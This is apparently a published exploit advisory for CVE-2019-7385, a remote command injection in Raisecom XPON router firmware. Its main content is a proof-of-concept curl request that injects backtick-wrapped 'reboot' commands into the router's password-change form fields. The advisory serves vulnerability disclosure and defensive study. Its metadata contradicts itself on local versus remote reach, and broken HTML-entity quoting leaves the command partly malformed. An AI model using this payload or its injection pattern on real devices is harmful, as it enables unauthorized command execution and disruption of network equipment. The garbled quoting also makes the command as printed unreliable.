Raisecom XPON ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 Remote Code Execution

2019.03.05

Credit: Jameel Nabbo

Risk: High

Local: No

Remote: Yes

CVE: CVE-2019-7385

CWE: CWE-77

CVSS Base Score: 7.2/10

Impact Subscore: 10/10

Exploitability Subscore: 3.9/10

Exploit range: Local

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

# Exploit Title: Remote code execution in Raisecom xpon
# Date: 03/03/2019
# Exploit Author: JameelNabbo
# Website: Ordina.nl
# Vendor Homepage: https://www.raisecom.com
# Software Link: https://www.raisecom.com/products/xpon
# Version: ISCOMHT803G-U_2.0.0_140521_R4.1.47.002
# Tested on: MacOSX
# CVE-2019-7385

POC:
curl -i -s -k -X 'POST' \
-H 'Origin: http://127.0.0.1&apos; -H -H 'Content-Type:
application/x-www-form-urlencoded' -H 'User-Agent: Chrome/7.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/65.0.3325.181 Safari/537.36' -H 'Referer: http://192.168.1.1/password.asp&apos; \
--data-binary
$'userMode=0&oldpass=netstat&newpass=`reboot`&confpass=`reboot`&submit-url=%2Fpassword.asp&save=Apply+Changes&csrf_token=current_cCSRF_ToKEN'
\
'http://192.168.1.1/boaform/formPasswordSetup&apos;

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Raisecom XPON ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 Remote Code Execution

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